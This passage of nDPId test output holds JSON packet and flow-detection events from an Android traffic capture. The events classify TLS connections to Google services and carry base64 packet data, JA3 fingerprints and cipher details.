JGbjek1bmzlEIYjoKZmhJLEq2i9PjauCtkpAfw3XZ6kQXcJqd2i43EkqU00bF5X\/BtiZfQas49kbcdhnbbJfFxRHsmUr+y\/\/HkNcjJRU1Rq16b\/hriOmVOAK2jxHIwkc7NsnGWDZ7BweXYCbeGqYE6n\/mO+w8YWFDkRdIBgwzmFOBLwFWLjdPkb1Bus19SlMl\/gvinkrbtLTycyCdfpvCnKyA+x7XdTbYhTlrTnQdQQz3bQHYcJRIfkBz5QVAa+NC+pKWts0VxK5CwC8naJqnE1V8VzVIc3Z039tcc\/rDCX1lakH\/\/EJjM2mOmDt0HoHlg7U21qZtfCGKkuwBBhdLjjf5h6sv829St4z0zcYkxs7W3UXss2\/i95jMg2Bffj2qal\/yIXtXvgqtZgTVMQl4MRwfd0QFwubkwUGZ1tPe+Y8Kp6WKikKEvYcTEg55tmOdT54bu1E0mtW1chribtv5fpxbhnZdZpcyfvRZloSnNZ0V+JtnZASi1HFAINCUY+7Fc\/D40Nt5zgJaaAdW++RvNQHbNhOIYzlSWx3qyYHXa06nu5XGWe+Ozhj5Lw0j0ROnRHh9tSMUNGZhOQUj016EMbKa1+FHzK\/Q7spBiccqR5V+dGRMELW\/ZYUjHqFnVhORzbdP5XRHFC1TnZf5RiXjOeRAnY8uaaoxyTTVBKHS01j8OuO1Es05bzO9ZFCDMlLhbr9+95Ur8zv+Q2caTWc90VNRQiTXJC\/Fe7D+S0W5N1L0N0jbksz+xvjhU9l4ZhREP4Y3bnqrFKfuupc7UPZ\/9h7hrJhpDWmmwRTtph6IbI7re91q7E3j86OddBssD4S6DTQafJ3oYdYfNb3rLU8+92p+hfGNE5W0bAwBO\/qKScpdZ+o3t0Qnbbm+NMDkIN7dVpCxt7NTHxcoC5CbWLP3ewBtns8OjqQIOA8XYLMBU9mvKYXCxXQLBb70znbPL5P4NV1wCkcTYABDKKdxN2YGzE2Ue2U9xyfmOAXEqyeL62QWbh415R+EL0tx9jeAiPqDhCFyzMUEJyjmVbsC0uC4SX3+nGZeifWuC+XLGKBrz4VW6wrXm7y741f\/dBE7AX1drxNYZTSr+AwS1\/FKYaSJhPXer7dDI6zvAhkkqjPusZzXccnhPsGI2o7ODauEGil68M7qYcsS5+S4KINm7fb2IxlC730c651w8LQkc33wNs1AWnYIcuWSfQ6ljQeneJd59tGkBKWQczWPKhSyGHln2C2vd10ytttAXbGGm2OW6zAASXTQhhdWZDZKkhYv5oc4gucD5CWgPej8cCLBNxKv+R176fSL14zOhsHUM9017zEMHLhJNv\/b1uO3TTbnYuxJqKI="} +00880{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":228,"source":"android.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":6,"flow_first_seen":1582454871075,"flow_last_seen":1582454871132,"flow_tot_l4_data_len":2143,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":357,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":32990,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.PlayStore","breed":"Safe","category":"SoftwareUpdate"},"tls": {"version":"TLSv1.3","client_requested_server_name":"android.clients.google.com","ja3":"9c815150ea821166faecf80757d8826a","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02346{"flow_id":42,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":229,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":132698,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+NmUAAHcGRbXY7yZ4wKgCEAG7gN4gvzCfCa700oAQAPDrTQAAAQEIClyVSJr\/\/zbLt2z1UUcE971oL44zCEN7OSbyOo0XDyXoI2kJMoGc6gPpAOusRu1EiAS+BQwa6qETsfOUAgIGfEQnKKwN77adL0ghyBJZKCR6YP2pee2HhJqwV4vcVl3Q2b1pujuIOlQrNIiQbE6hUVly292uSSSkoohu2KFiT1emMdOFqtM8\/BBqhwp4gFpnbSmDBpUB7a5GuelUbGOt8bSUpLcOeMeAMqNLfV+Rg32drLAKIQRpNDVt56AB\/SMRAI+xbCp+kUsvwh+aF+0mXvjs9EpPE6e7EheGPwQgMEdhiCfhyYGYTnjmE18U2wCa5QZwZXrhtZbNiUE58WK1HGlx8CzFVoivDUMy8dRUbvOoPYAdLMsC3ZRU9kKYh00c7xmhmiWbs5+2LFkvMuoqlCID3wbuMlIO8uTnz83TC31IASAsrcZ2K+AA2ML5cuuP9rt+jJX7Yap68TiGMOFTXM97rnIIImXcjJEWklH88Pm+iLv6fMuABpq5Z5xlGLTBPeQc\/S3bLMrgavBOJI4kPJ\/DUe1tu5CUmyeSC\/uohZ4icr53GhrRsRMOh182\/sdEVjJ8OsSdXtaWfXFesZ5vTF0hJ4+4p\/lK\/GRKiMSKfENoIyalP5SOu0aKcxmFHODNYl4xUiXmQdSzlf0OB7r7vNlre2gqxT2LgKIXL9mxtEGAvC6dMwblrx7aAnZ\/Ar0YEDX2sjIpSfvpbyC36ZUo9dnF+sdbgqWZxVxwsk6rNg2U311Tt+XXeGw796ohiQO2+3XBs+NO\/l2lx6vApnL3uY0FuGI7wNhmKVOzyxyq3B7V6PFA3awHAVkJ4JGqsQSAscg\/m2TJCQ8oCg+ln6WxA1J0YQfTPrazRVimvlWOIeX6xv6fFF9wOwATPh+9IoSlPVYpUeLZ9U4fWo7jahLaukWNdOc0yFwD+n8YA11FZ44EYcz6vLdYAyBijvHbx6E4RHMsuU3z2FnfXyWZcyDxO9UpefsBgGLIU+G1bbgmlTnqClr4uEeXS7iAlCt2uW6S7l0dSP+R1Eq6Jq4NRUeDaHKWJEIwulJFXeIs6x\/p+rQrMc2rZDch71dIJtK8tz2ZMgH9wxvf1nfi6agUwwq2oLQaWt2aak5zpWvG8RC6LgePPPNwR7c3zhC0ZmvBxT8333k3e044ZABu6I2CvqhaD8zndPZvdh15DsoKPtQTXpqM+e0a64IRUlAgX5iWcrZDDUG8WLTcGKD+v1GDjYLciVwB8DCvca3dMRUyHY68kZl9pItiLp9+BhqNpkvMyuE87dPd6xHJFG9fzNgxIO8vPDkN3aq8MSSh0dQ5GY5AD9zW+yL2c2DZwIRfSiies4njVt1b94DcdbdOqAMbuB9dB9dsFDaNTnCR\/aeOGuuBhq\/e3ay9nBjevJXs43TnXIg87JOpyBBMhcUEwC0NgNxqplaHHSUujzkFkF7uy+kunZ9ROPUHNG8W1p3U34qgyKiz1dKFeWTENnb9Yq\/5XwLCnPy6Pkw2APb0M3sXQxoDu31MHsgPXGd4y3pCjuiNGlVluzibQHNkA+5AVgPHYGiZEzgMqNo2XdLQRLJ7OPdVwqT6D4wj1gc6Nona7XvOK\/zcKK3nFQUAJ2eUX1sbI\/0Kw0Y8TuF4TfVpQEJ1NIWH+sPlD5FBivNEHBweSvNorw0vkmMdngedxbCK7UueiAuzo24B2K31hWIaOtfLZxWVVlH7FnbnV9P47C2fuc6rs0mGNY1w1X4MWY8t1dweAMn68RCQuvsFeGVzXKeMY3a91VXvfMZebDCnV7Sq7hQ4DxJHuW7YK49Xpsb5IHHtuvOBpaLTksrTU0nuC5CCByp\/RZECLZNLtp9xyn3TQEiIV\/Tvc\/VvL+2A7GmLdIn2LdDBmNJTk6IJRvJMORVRIFw91K8mQBI="} +00440{"flow_id":44,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":230,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":132705,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"TGr2n\/YnxiwDYGpkCABFAAA8KYcAAHYGldms2RXKwKgCEAG7ytjkokMBL2I0XaAS6yDzNwAAAgQFZAQCCAptKuid\/\/82ywEDAwg="} +01704{"flow_id":42,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":231,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":133578,"pkt_caplen":1003,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1003,"pkt_l4_len":969,"pkt":"TGr2n\/YnxiwDYGpkCABFAAPdNmYAAHcGR5XY7yZ4wKgCEAG7gN4gvzYpCa700oAYAPAqOgAAAQEIClyVSJr\/\/zbL0aD9M93vMr5fqdmS4mkDG\/NqlO3EL3KnAGQCCLFmzcbGKdw6S6iiMnicj2Eow\/ZjeKi5GSwwotgon+b4xOHOfWzinjYD3GSW0w8Lm0J9xM+EV85yryWoRF\/h1cPLpb8yFXMhD9ZnjOg4vek06Vlgyk6UQLv7oDwBRwYG+hb0djvN5zJxuYbbtfWKrkvqhjgjeRs+quY3Ksc2Fn1H3kseet2PoTM1xskhMTIlIW80Br4ZvC2YTqSbpNl7L8TdWapih\/xtjGiF7EXM3ODjZMVTd27GpStn1rj539F14F1QPYbhBAXJ0Nbjikut+gRAWuHpinla\/84RNvuWfzlUz0X5rvpwB4MkT3MGbh9OSpVhtP+NlgPDbmDP1ZeeLv86NAiNPNlvwfcgtMdtkGZvvCvFxY6LQilPxHEkFwIdh3TB9IDSXRaoaVpZxRmsUO+3JeHfLLWbrPh8X4YepW\/HGvOKP6xRV23UpFSexWD7XchKYEWpssakxigOxS9Bh8v714Z+Mq\/zPg4vqNJSVXjwfD98u0\/enDhi2BHMuviV9XO7yceuYNE0J8JiRHJJbqwwBXR25LU4ZQXA2VvKuZFPfZG+wGBbcfyq\/9zuWc98NBsO6uhdL\/loisOIonOO+1SkLeF5apbAvDS9VwJGoBqqWiY3CESgkcm4uc4\/cTPg0aQjnpkTc3DjlSD+WcBKx3iYmerB\/tQxxDCNHO5KASnjJfwTiOLlz0txNi\/pGS52AdM6xanbcAcVv+OdTqgwodMBX8fhBJ7gUcxOc7YhmqM80LeVwynz219tfo5JEtur+QPJz9E5CgfBTdbgyWvuRaAxQBiv85c9+Ew\/MYc8XelxgCp\/67sXuGllJBHIhJZDq6GZjqE+z2e1NZXahepncvSEF4nfaSgeKpnT71A7XRM3N0kP8iyXd22+CDCydfXGaVwLTCZITtqcU2a23gWiJNTb1u4nh+36dFQlHPq3DHn2+VGR5RjYoT\/zEaVtH6HBzc1i6fnbXOYGsMNyDkrXLMUOdSXrktPZkJbbcuHWAE0BSov1gf8tCpsZ1hvibiQ5iDUmMKt\/OEmEDJZ6qQiIzxRlZ3P2IsrmiLXirlV7eCO2rrp4kSfQvd+Mw3aQm7cFOWrsWt5CFvcc2lsHSf2pHkQZ3RCBkJC6O3PsvvAt7yoNsFJ5lJa+EJX6sDLDxRRYUGHJZFYD\/itWK\/zGSX2izwH2ENR0Ex49B3NuyT5hTPbPT4rzu9t8xGnT3cS3rA=="} +00428{"flow_id":42,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":232,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":133989,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0xAtAAEAGtJjAqAIQ2O8meIDeAbsJrvTSIL8wn4AQAWIEwQAAAQEICv\/\/NtJclUia"} +00430{"flow_id":42,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":233,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":135118,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0xAxAAEAGtJfAqAIQ2O8meIDeAbsJrvTSIL82KYAQAW3\/KgAAAQEICv\/\/NtNclUia"} +00428{"flow_id":44,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":234,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":135219,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0AphAAEAGstDAqAIQrNkVysrYAbsvYjRd5KJDAoAQAVcLdwAAAQEICv\/\/NtNtKuid"} +00429{"flow_id":42,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":235,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":135227,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA0xA1AAEAGtJbAqAIQ2O8meIDeAbsJrvTSIL850oAQAXj7dgAAAQEICv\/\/NtNclUia"} +02352{"flow_id":38,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":236,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":135248,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+4aEAAHcGmnjY7yZ4wKgCEAG7gNr8u4abuQzrtoAQAPCXWwAAAQEICokUgA7\/\/zbLFgMDAHoCAAB2AwMKr0VNlFk9hzoO6B0TUbLPFIcBa5zTSa8CWE84m3upOyCr3\/X3EqQMslzWKxfodTxbMmxBkYxsWxP2dnqi9pIeZRMBAAAuADMAJAAdACBOncCMF\/Ubli4Sd6cOqcYTMbk4TYGlE97BZnOiZEVtVgArAAIDBBQDAwABARcDAw4yrItIQaPRkSlxy6xdCUQOntopQbGn+0k1iB7I0SdVfNjJ785GPXlRsBy7MGhH4aMsLWF3\/TgqSoiygpHh8NMfwlD\/ax2aoC4TSk5+ZV99Ixkp75S1e3cV6ySUswf9mC0Rq+EQuQLTtMA0VqjBcuM2egRBKykD2E6zAGPOa3MkWS\/Wt\/ZLWkOt+ZTUj99CYLf81eVIKn40tnC0iXe8kzMItlyYbl1R1H58l3U+kCW4xLBokFbRt7vAxQ7JhG60lq72xyP7oJrv0VMznWqbdoBPLPslFKrsgKsvx+yEV6VWR3D5oUN3CfhfXRmYrIarsrSTBDCShIK7CgHX4CY4Ck1VLt\/xUmDR7htBea8QK8tLH4bqZRJypA7ftPZmcp+Ka+lGIXVfoI+lYsiL+FD7xrXpbheoAIh+ajDdH4kXMVtrctL4uGt325Fp2nyKWKMppJIEkGiNgS6qNUlSwDv+1RheWrVRz4ycg4ZDKJ2+FyLkV8OnHuiPDvhftL7yJHqqJ5zF8PbLAto7jCHnKnwLV\/RExMTHFZwUuQIZrD26T89q7onCltXqwTAR\/s5yPdiqhbyjE6nrLy6pILxYubTKfw1h+3RqnQh3bbPJ5Q2Qm4T5C17RIRojmmRhTBjl0q+aek+H0RtUIErqEGVTLhBSykaCdNmeSxdJIfc5+ow5vABT+iZhxVep3\/EiPwxMUEImxzr+wCATOk2iReVs76QzaG10uYC\/X0nzCLzBEOkqEyKxS3v6MIMgwxmjHSHq87ph0kuLf6WB3va6DAypQ45vHvUU+0BRGFPSriKx5BfDY9mixN+fj6anWwmAijYDWXgMoL61NRE7X\/mkmRmPiowWMaZAJjVjoSZ5pEr1yhS2+aDRl0wGK7PIsS+TJdksdU3LrVJc88Rl0lxRqVFdOMpk2QRbvzJaB4eww0L2Veyoi\/XZK\/sndOWsKxWJFYHM1oWcBl\/zZZPncosBDOZi0NqD6NOoo0v1fT\/\/60fYbPS\/JocVW3vtNCcjk4pexZqcZDs\/ddtCPZsgh1UlPkkzlA7cTq4fZlF\/WGEpJiA3gbDIlV0pnm89WaP5KSnBhJJnrZbDh5c4m2sL6t+YOQ4KFhpAbzq28ouPa4UTf5VM6zB8scMsdlreFBH1cjgEVB0WOsITzDb1q4MIfLAiyg6DUf69wYibTUW7y+bIerPA8XbfBRNM+yFv8YteWFMGKJu\/BbQlRddYc1EB\/GB83YsNEEZbwoNxy5GMHpVzDpCUKh7hWj02pJFOLhYL+lMq7+b+DwsTnSAkLSYYsFIwLLLFtm8v0P\/lFtNZOb5nSqKGWFUFZ5EHsd9B44jepv6IfEO3yb9VH+y0L1gRWsnovqVIzp+jy24PY5sbXaJ0RJvfHv6Z1DFLuIKQXZCLPgnytGouQ0v80uP00uZ1UG4h5kvU6Cci9DYDjGfGRIPySEjjoT4ws\/8zSUJJktRssPMBoPWaWE70+8w+vn37au6hJI0W0AdegB8gcWxn+oD7zlBQaJ9aNRurrRoQYYAq9x66xgb8JVwAh9sJ+5uHIueozDwzLagREKF2bWZL5xL4zxcArgS7gyF3rBDNa0JB0SZNzKNgpuaHGnZW\/9yPhHdlD3Au1bTS6B9mHkd1DJWTG6NlMl599wDCINnKAZHK\/25ZE4I8cK6IUOp2kx9L7IoPdacXuUukSko5nmMfRDEHob+C5rkqr72XOqs="} +00880{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":236,"source":"android.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":6,"flow_first_seen":1582454871042,"flow_last_seen":1582454871135,"flow_tot_l4_data_len":2143,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1450,"flow_avg_l4_data_len":357,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"216.239.38.120","src_port":32986,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.PlayStore","breed":"Safe","category":"SoftwareUpdate"},"tls": {"version":"TLSv1.3","client_requested_server_name":"android.clients.google.com","ja3":"9c815150ea821166faecf80757d8826a","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02357{"flow_id":38,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":237,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":135249,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"TGr2n\/YnxiwDYGpkCABFAAW+4aIAAHcGmnfY7yZ4wKgCEAG7gNr8u4wluQzrtoAQAPDRgAAAAQEICokUgA7\/\/zbLALlm2XpcYfM2DyFlVqPk7s0JB3WtTktzck8Ewa7zXiGjMzYBrp9\/N\/C2dhP5hyDgybBo6ueXj9le5zQ5xz1WVjLVp4U2urEU6tVqisaQwD563EQ903AtABU+dsq06EO8BRBxycTwCye55+aAqqoVyt\/7LzRhCurFDe9QFTcWhAm\/dGTrH1qA9TWjuqEhJgXakWOHwDs54MSE7Eh70Eqwk0mP4pK9j2FCxXIUPg2kGbN4sqstuD4EFvYcYCJrwCy47VLw72naM6+gD4T42lfjIIrU71rBBTvaRLjBPz93c5URebS7Un5mZaJsppcChdWk4KWsuYnMxhR6HxvsNjEj8iaLSHb3yiN06WIdLFRxyNYo8\/qJYuW+csM3WvMOKnnRtxWqemS6KxzCIANkuFC8TITGRaM2+QO1PUsNyDcxxiT6PuyOVlbv9I\/gojeHcmdDmgzIzSQ8C9u3PTyF9T49EU7zoZjLOPrn7CIwqL3Ki1CeTdBPHUPZN0VDOZW41FN3jk\/In0VgVa8goXbN6oZKluKMskPAWkKerSrXMQFHzXDN6DZhnL8yv4ufaAtrq1wnFvKaxOjcfsuWNu5+cYUkpMSupClQVji\/3B6qeGCww7THgAbR6wXoHM5Pru5FA9V40SEulL9nOC4JynMawx9TH\/7Bysn2G23GNv0aUHqtTVE6dueVMWzAjkyJXJvvmMUQKoG4m8vKnIZlST+B4hW3PCkKdDPtgl085enPSK2J\/uILf2JPCVUOAc6kowCDHAnUu+JBwzZZ9kujDnckSlNuFbu\/pYwu8R997Z3N8beaC8lrSj1H64ab6KfnGu5CXV4KS1DZBtlRoD3vAnB5E2wVoKy1rhbLjSSgdR779BRxOIbFL14GqdeVIg\/EcuQWs7oy8FOO6o3CimF1sv43Fof9EUlg05WQfTteUehcxVpdqSbTqlBoSUzc\/LecAYON3mwOtjHLH4cuJ1qI54lWwc8AVusmjFEyQHYME1AUmNNylg0+qJZIcXLlB2k9zWQAdU25JTv\/NdK1My+e0nvJxhqGD4cQ+8CreQx6M7G6oILm2rzHiZ2DHjO\/D4imcK2NsNuw0rssaBK3w36K3D2kg8eS9\/bnmZChRGxKeNNnZAz73Q8OqmnR\/cIC0abR+kkIkPS01Vi\/fSKrjT5rEcIC8DapG4mgeOm\/lDetfcraNeVxz290QxTrucRTQ7\/btIVH1Gll1wEC8BQbvA0I1uNXwk31dlhkC7G1rRCQAihkoRZf1b0uettdYqH+jO+gxzFN1B0WwsRZw3GuATUIAhDdTj4zNb7fKWyzcwaBQXhhZZ6XK\/vU61xwE6+iv4S7NQH5F0K+6U54pSLVURgE2fKRB0ML9j5ouJQYZsrbjn1B4elxHIcpQTqJHpVithfkxfBN+IuRVjSyoGbLuVI5ahmpDmkzv43rtmQVtT1BRvuZJMWhuRiS69bcXBO\/PPLymYgestkPsAsQX0BNqiSTubolwalXNHcC9WoeZR2gvVDe4HIU4AwLp74vpDA\/ElQLudMSmzwDqQkOxwYnvZuwZJDW3XkSMpZx8vb1vYT4cmg+XE1qOP5IXroGmkXfYf1gHgr8x61qiRC8qc50efg\/ONCGVJXzKJUDoL+9gvN1Nupn9QNmoFuc8Jns52txnFrC3IvRhuRTN0BIHAot8i\/3VbjHsddBw2ZfMyrO\/rIOewlf0qC8mocojJMbdmXa\/GWBXcsqk5L5eFYIecpJ2P6FSPoqX6i2adCKgNrm4Wmc9Voyq04Xxrct7NBlXqp+j0BPMqp1Efs\/xpViW9uHYyQhIOYElk1rPO+rSgxBXIOKR+5dJcrZi39YfZYAvATozgeptBTrg1x\/\/tjQu+wJaW7frU27FDC\/BR4GhdcOgUPm1Y4="} +01701{"flow_id":38,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":238,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":135250,"pkt_caplen":1002,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1002,"pkt_l4_len":968,"pkt":"TGr2n\/YnxiwDYGpkCABFAAPc4aMAAHcGnFjY7yZ4wKgCEAG7gNr8u5GvuQzrtoAYAPCLOQAAAQEICokUgA7\/\/zbLWjyVBjvlXJ\/FuReGdke2EqW45bfZWi2TDOeztH7rL39rXHUf5vy+D7Bwv83cy6rLrJ4iplSfvTv4+mishpIMjmvfM5cChDiIIwReaim7vPx3GduyT78fMM0FedaSZ1NwUHOcS+KA2\/0w2SHCBTMo5YSEyayiDSkVhlI+O+leZx\/QxvFe2KzFOyaRAFb4QitWZw20IfOgCf3RBjTBTsUhXCC1ETxdjLEXE6VXKQMrPojkDPMgG5Un5BqMYt4RW5D01\/eGg7IfiEOT2a4\/Y3nHi6OtYTePLj1MGn7p2v1lhemQWBEReuYV\/1tebgC7mYeePoEyPpvnTV9ekWusAPlTm73tJgq29PQGeQl+l7MkJCKr5K6hvTfOPa3dZNXarjuZWsvLaXaDqU7f6FFwvjahncAVkctQCBcODmeCNfiE5tcjqKaYFAuxvxdZ2RlEc3prlEBMYkh9fMMRIfeNs1pbKT\/ehPr1r83w\/qSQyj1I7NF9evyb4SEUlAZZoF77GV4xuB6xokp1\/N7qW7zldWIQB5\/et6zogs+29vuJVOOy7Ih2PTmx9a4TXD14GqZ76ycqpuQKAK+O1hVOc\/RdqBHZh9FchRoqqbEDPp0yd\/cbK7kprMT47YyZRvVlUgteGjPLLH13irUz8XoeU0ip9GPeobKtlV16hmkOecicjraTfC6473WKEmG7aoEfrON3zrFWnH9GD\/mGIz7CDqk9EbLlNinV3e2kQGO+EBySWkIbxWZbIuXGBkYQIVae5RYLOG\/cYJroIfLQASbJ4v\/6lq6ONkkii6ZjFzgUmQV6\/3V4x3OITvZqsi2\/mMhu3ruerwkclyv2oUX3pJEA9VKblVFbenNg2\/EW6fQS3s6sAOkug7pWCC07Q5lT1KTaYeSLjuFKOSEfPL0GRtjYslB4gFJ2rvYVL7SgOiFJV9JksGQmpUEQtQuN+t2Sijfc1vJp+oFraEFkU4ao6ESH7+93u4sc+a9n6YvmXXuNqkuaW2cLjr4V6thqt7niWYdAAA4T0n6ptPo2PxLbChmGWHkaCrlSsA\/Ak5KkSOa6gzBI1Fi7m5plS5xQJSiW2SZGY9QKglFcHOvG8nqprNqSQVNVkoJ1M0z9xdWtEY1suVO8sbwN3Ih69VIN3Hv2SPntdHsYOEKVDYWz3H3j\/97fkWW2vMwUDbWj7HutDKIjmRzejOxaeYSOI4VlT7yWmTsHcGs9lpgc9xTn2f0yUmzeTvkpDnlN40B4ZtnrK3BQ"} +00429{"flow_id":38,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":239,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":138374,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA03w9AAEAGmZTAqAIQ2O8meIDaAbu5DOu2\/LuMJYAQAWLDCQAAAQEICv\/\/NtSJFIAO"} +00430{"flow_id":38,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":240,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":138432,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkTGr2n\/YnCABFAAA03xBAAEAGmZPAqAIQ2O8meIDaAbu5DOu2\/LuRr4AQAW29dAAAAQEICv\/\/NtSJFIAO"} +01124{"flow_id":44,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":241,"source":"android.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454871,"pkt_ts_usec":138480,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkTGr2n\/YnCABFAAI5AplAAEAGsMrAqAIQrNkVysrYAbsvYjRd5KJDAoAYAVcUdQAAAQEICv\/\/NtRtKuidFgMBAgABAAH8AwMLzOxtO6hOmIYWfBvitg4r+7Wglg8GVNMAJsb\/jQkPqyB1NOTF0gGFb6IK4+2hAOm9SIxGs64I4ihATDO0kHBwJQAiuroTARMCEwPAK8AvwCzAMMypzKjAE8AUAJwAnQAvADUACgEAAZG6ugAAAAAAHQAbAAAYZGF0YXNhdmVyLmdvb2dsZWFwaXMuY29tABcAAP8BAAEAAAoACgAIqqoAHQAXABgACwACAQAAIwAAABAADgAMAmgyCGh0dHAvMS4xAAUABQEAAAAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBABIAAAAzACsAKaqqAAEAAB0AII9uaDFaArcbql7rcKk4GhOXI2ordsjsf6j3VCsurBUOAC0AAgEBACsACwp6egMEAwMDAgMBABsAAwIAAhoaAAEAABUAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00798{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":241,"source":"android.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":4,"flow_first_seen":1582454871103,"flow_last_seen":1582454871138,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.16","dst_ip":"172.217.21.202","src_port":51928,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DataSaver","breed":"Fun","category":"Web"},"tls": 